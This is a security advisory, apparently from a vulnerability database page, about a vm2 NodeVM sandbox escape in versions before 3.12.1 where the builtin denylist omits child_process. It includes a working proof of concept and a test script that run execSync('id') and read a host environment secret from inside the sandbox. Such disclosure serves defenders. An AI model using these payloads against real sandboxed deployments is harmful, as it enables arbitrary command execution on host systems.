vm2 contains a sandbox escape vulnerability
vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.
This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.
Details
lib/builtin.js:
DANGEROUS_BUILTINS(lines 83‑179) — the Set of denied builtins.child_processdoes not appear anywhere in it.isDangerousBuiltin(key)(lines 185‑195) — stripsnode:prefixes and applies family‑prefix matching againstDANGEROUS_BUILTINS. Returnsfalseforchild_process.BUILTIN_MODULES(lines 209‑210) — the source list that the'*'wildcard expands to — isbuiltinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). BecauseisDangerousBuiltin('child_process')isfalse,child_processremains in'*'.addDefaultBuiltin(the explicit‑name path) likewise rejects onlyisDangerousBuiltinnames, sobuiltin:['child_process']is admitted as well.
The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.
PoC
const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution
Verified results:
| config | require('child_process') |
|---|---|
{ builtin: ['*'] } |
RCE — host id + host env read |
{ builtin: ['*', '-fs'] } (documented subtract pattern) |
RCE — subtracting other modules does not remove it |
{ builtin: ['child_process'] } |
RCE — explicit name admitted despite the "never, even if named" invariant |
{ builtin: ['fs'] } (control) |
denied — Cannot find module 'child_process' |
Impact
Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').
builtin-child_process-denylist-gap-rce.js
'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}
function tryConfig(label, opts) {
try {
const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
try {
const cp = require('child_process');
return {
reached: true,
id: cp.execSync('id').toString().trim(),
hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
};
} catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
})()`, 'plugin.js');
console.log(label, '=>', JSON.stringify(r));
return r;
} catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}
console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
&& b && b.reached
&& c && c.reached === false;
console.log(ok
? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
: "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | vm2 | < 3.12.1 | 3.12.1 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Debilidad (CWE)
CWE-693, CWE-913- Plataforma
- npm
- Paquete
vm2- Publicada
- 07.10.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-pq68-rvw4-xp4r - CC BY 4.0
Historial de vulnerabilidades: vm2
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 78
- Primera → última
- 10.2021 10.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 51
- Alta 14
- Media 12
- Baja 1
Divulgaciones por año
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2 contains a sandbox escape vulnerability esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.